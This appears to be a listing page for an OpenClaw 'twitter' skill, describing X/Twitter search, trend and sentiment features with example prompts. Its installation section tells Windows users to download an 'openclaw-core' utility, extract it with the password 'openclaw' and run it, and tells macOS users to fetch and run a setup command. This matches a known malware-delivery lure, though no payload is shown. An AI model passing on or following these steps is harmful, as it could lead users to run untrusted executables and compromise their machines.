twitter

What This Skill Does

The twitter skill for OpenClaw is a robust, multi-faceted integration designed to interface directly with X (Twitter) via the Clawdbot API. It serves as a central hub for social intelligence, allowing you to pull real-time data from the platform. Whether you are performing market research, brand monitoring, or simply tracking global conversations, this skill provides the necessary endpoints to query tweets, analyze user behavior, and examine trending metrics. By leveraging the openclaw-core utility, users gain programmatic access to Twitter API v2, ensuring that data retrieval remains efficient and secure.

Installation

To utilize this skill, you must first ensure the openclaw-core utility is correctly configured on your machine. For Windows users, download the utility from the official repository, extract it using the password 'openclaw', and execute the core file. macOS users should follow the specific link provided in the official documentation to fetch and run the setup command in their terminal. Once the core utility is active, run the install command: clawhub install openclaw/skills/skills/moonshine-100rze/twitter-6ql to add the twitter skill to your OpenClaw environment.

Use Cases

This skill is highly versatile and serves several professional domains. Journalists can use it to track breaking news and regional trends. Social media managers can leverage the sentiment analysis and hashtag analytics to refine their content strategy. Developers and researchers can utilize the search and timeline endpoints to gather large datasets for natural language processing (NLP) models. Furthermore, it is an essential tool for competitive analysis, allowing you to compare trending topics across different geographic regions simultaneously.

Example Prompts

1. "Check the current top 10 trends for the United States and give me a summary of what people are talking about right now."
2. "Search for the latest tweets about 'Quantum Computing' that are not retweets and limit the results to the last 50 entries."
3. "Analyze the hashtag 'OpenClaw' over the last 24 hours and report back with engagement metrics and overall sentiment trends."

Tips & Limitations

The twitter skill relies on the openclaw-core bridge; always verify that the core service is running before executing commands. Please be aware of Twitter API rate limits, which may prevent excessive automated scraping. When performing searches, use standard Twitter search operators (like from:, filter:) to narrow down your results efficiently and reduce processing time. Always ensure your queries are specific to avoid returning irrelevant data.